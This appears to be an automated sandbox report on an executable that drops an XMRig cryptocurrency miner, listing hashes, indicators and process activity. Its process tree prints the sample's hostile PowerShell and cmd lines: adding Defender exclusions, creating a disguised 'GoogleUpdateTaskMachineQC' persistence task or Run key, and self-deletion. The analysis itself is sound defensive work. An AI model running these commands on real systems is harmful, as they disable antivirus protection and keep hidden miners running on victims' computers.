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Overview
overview
10Static
static
3qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h... K.exe
windows7-x64
10qM5GMXBk6h... K.exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...0).exe
windows7-x64
10qM5GMXBk6h...0).exe
windows10-2004-x64
10qM5GMXBk6h...1).exe
windows7-x64
10qM5GMXBk6h...1).exe
windows10-2004-x64
10qM5GMXBk6h...2).exe
windows7-x64
10qM5GMXBk6h...2).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...0).exe
windows7-x64
10qM5GMXBk6h...0).exe
windows10-2004-x64
10Resubmissions
21/07/2024, 20:17
240721-y27lvsvfll 1006/06/2024, 10:00
240606-l14glacf9x 1006/06/2024, 10:00
240606-l12yrscf9w 1006/06/2024, 09:56
240606-lyrd9acf71 1006/06/2024, 09:55
240606-lx1xascf7v 1006/06/2024, 09:55
240606-lxyf6scf7t 1006/06/2024, 09:35
240606-lkvvhsce2y 1006/06/2024, 09:32
240606-lhs8xacd7v 1006/06/2024, 09:32
240606-lhsx5sdd47 10Analysis
-
max time kernel
1800s -
max time network
1788s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
24/01/2024, 17:21
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
-
Target
qM5GMXBk6hJE6Y5e (17) - K.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 1328 created 3316 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 41 PID 1328 created 3316 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 41 PID 1328 created 3316 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 41 PID 1328 created 3316 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 41 PID 1700 created 3316 1700 updater.exe 41 PID 1700 created 3316 1700 updater.exe 41 PID 1700 created 3316 1700 updater.exe 41 PID 4756 created 3316 4756 conhost.exe 41 PID 1700 created 3316 1700 updater.exe 41 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral4/memory/2640-128-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-132-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-133-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-135-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-139-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-141-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-143-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-145-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-147-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-149-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-151-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-153-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-155-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-157-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-159-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-161-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-163-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-165-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-167-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-169-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-171-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-173-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-175-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-177-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-179-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-181-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-183-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-185-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-187-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig behavioral4/memory/2640-189-0x00007FF609980000-0x00007FF60A174000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 1700 updater.exe -
resource yara_rule behavioral4/memory/2640-124-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-128-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-132-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-133-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-135-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-139-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-141-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-143-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-145-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-147-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-149-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-151-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-153-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-155-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-157-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-159-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-161-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-163-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-165-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-167-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-169-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-171-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-173-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-175-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-177-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-179-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-181-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-183-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-185-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-187-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx behavioral4/memory/2640-189-0x00007FF609980000-0x00007FF60A174000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1700 set thread context of 4756 1700 updater.exe 109 PID 1700 set thread context of 2640 1700 updater.exe 115 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (17) - K.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2376 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 1340 powershell.exe 1340 powershell.exe 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 4580 powershell.exe 4580 powershell.exe 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 1328 qM5GMXBk6hJE6Y5e (17) - K.exe 2052 powershell.exe 2052 powershell.exe 1700 updater.exe 1700 updater.exe 5048 powershell.exe 5048 powershell.exe 1700 updater.exe 1700 updater.exe 4184 powershell.exe 4184 powershell.exe 1700 updater.exe 1700 updater.exe 1700 updater.exe 1700 updater.exe 4756 conhost.exe 4756 conhost.exe 1700 updater.exe 1700 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1340 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeIncreaseQuotaPrivilege 4580 powershell.exe Token: SeSecurityPrivilege 4580 powershell.exe Token: SeTakeOwnershipPrivilege 4580 powershell.exe Token: SeLoadDriverPrivilege 4580 powershell.exe Token: SeSystemProfilePrivilege 4580 powershell.exe Token: SeSystemtimePrivilege 4580 powershell.exe Token: SeProfSingleProcessPrivilege 4580 powershell.exe Token: SeIncBasePriorityPrivilege 4580 powershell.exe Token: SeCreatePagefilePrivilege 4580 powershell.exe Token: SeBackupPrivilege 4580 powershell.exe Token: SeRestorePrivilege 4580 powershell.exe Token: SeShutdownPrivilege 4580 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeSystemEnvironmentPrivilege 4580 powershell.exe Token: SeRemoteShutdownPrivilege 4580 powershell.exe Token: SeUndockPrivilege 4580 powershell.exe Token: SeManageVolumePrivilege 4580 powershell.exe Token: 33 4580 powershell.exe Token: 34 4580 powershell.exe Token: 35 4580 powershell.exe Token: 36 4580 powershell.exe Token: SeIncreaseQuotaPrivilege 4580 powershell.exe Token: SeSecurityPrivilege 4580 powershell.exe Token: SeTakeOwnershipPrivilege 4580 powershell.exe Token: SeLoadDriverPrivilege 4580 powershell.exe Token: SeSystemProfilePrivilege 4580 powershell.exe Token: SeSystemtimePrivilege 4580 powershell.exe Token: SeProfSingleProcessPrivilege 4580 powershell.exe Token: SeIncBasePriorityPrivilege 4580 powershell.exe Token: SeCreatePagefilePrivilege 4580 powershell.exe Token: SeBackupPrivilege 4580 powershell.exe Token: SeRestorePrivilege 4580 powershell.exe Token: SeShutdownPrivilege 4580 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeSystemEnvironmentPrivilege 4580 powershell.exe Token: SeRemoteShutdownPrivilege 4580 powershell.exe Token: SeUndockPrivilege 4580 powershell.exe Token: SeManageVolumePrivilege 4580 powershell.exe Token: 33 4580 powershell.exe Token: 34 4580 powershell.exe Token: 35 4580 powershell.exe Token: 36 4580 powershell.exe Token: SeIncreaseQuotaPrivilege 4580 powershell.exe Token: SeSecurityPrivilege 4580 powershell.exe Token: SeTakeOwnershipPrivilege 4580 powershell.exe Token: SeLoadDriverPrivilege 4580 powershell.exe Token: SeSystemProfilePrivilege 4580 powershell.exe Token: SeSystemtimePrivilege 4580 powershell.exe Token: SeProfSingleProcessPrivilege 4580 powershell.exe Token: SeIncBasePriorityPrivilege 4580 powershell.exe Token: SeCreatePagefilePrivilege 4580 powershell.exe Token: SeBackupPrivilege 4580 powershell.exe Token: SeRestorePrivilege 4580 powershell.exe Token: SeShutdownPrivilege 4580 powershell.exe Token: SeDebugPrivilege 4580 powershell.exe Token: SeSystemEnvironmentPrivilege 4580 powershell.exe Token: SeRemoteShutdownPrivilege 4580 powershell.exe Token: SeUndockPrivilege 4580 powershell.exe Token: SeManageVolumePrivilege 4580 powershell.exe Token: 33 4580 powershell.exe Token: 34 4580 powershell.exe Token: 35 4580 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3544 wrote to memory of 1512 3544 cmd.exe 101 PID 3544 wrote to memory of 1512 3544 cmd.exe 101 PID 2052 wrote to memory of 4076 2052 powershell.exe 102 PID 2052 wrote to memory of 4076 2052 powershell.exe 102 PID 1700 wrote to memory of 4756 1700 updater.exe 109 PID 3300 wrote to memory of 2376 3300 cmd.exe 114 PID 3300 wrote to memory of 2376 3300 cmd.exe 114 PID 1700 wrote to memory of 2640 1700 updater.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3316
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17) - K.exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17) - K.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1328
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1340
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4580
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17) - K.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1512
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:4076
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5048
